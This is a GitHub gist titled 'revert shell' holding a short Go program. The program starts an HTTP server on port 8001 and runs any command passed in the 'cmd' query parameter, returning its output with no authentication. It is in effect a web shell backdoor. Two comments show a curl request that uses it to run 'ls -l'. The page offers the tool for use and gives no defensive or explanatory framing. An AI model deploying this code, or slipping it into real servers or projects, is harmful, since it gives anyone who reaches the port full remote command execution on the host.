Skip to content

Instantly share code, notes, and snippets.

@liuyangc3
Last active November 7, 2023 02:21
Show Gist options
  • Save liuyangc3/b009dcbe245d8d28679c0ce47dfe8604 to your computer and use it in GitHub Desktop.
Save liuyangc3/b009dcbe245d8d28679c0ce47dfe8604 to your computer and use it in GitHub Desktop.
revert shell
package main
import (
"fmt"
"log"
"net/http"
"os/exec"
"strings"
)
func hello(w http.ResponseWriter, r *http.Request) {
cmd := ""
keys, ok := r.URL.Query()["cmd"]
if ok {
cmd = keys[0]
}
if cmd == "" {
return
}
unpack := strings.Fields(cmd)
e := exec.Command(unpack[0], unpack[1:]...)
out, err := e.CombinedOutput()
if err != nil {
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Fprintf(w, "%s!\n", out)
}
func main() {
http.HandleFunc("/", hello)
http.ListenAndServe(":8001", nil)
}
@liuyangc3
Copy link
Author

curl http://127.0.0.1:8001/\?cmd\=ls%20-l

@ydoug33
Copy link

ydoug33 commented Jul 28, 2023

curl http://127.0.0.1:8001/\?cmd\=ls%20-l

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment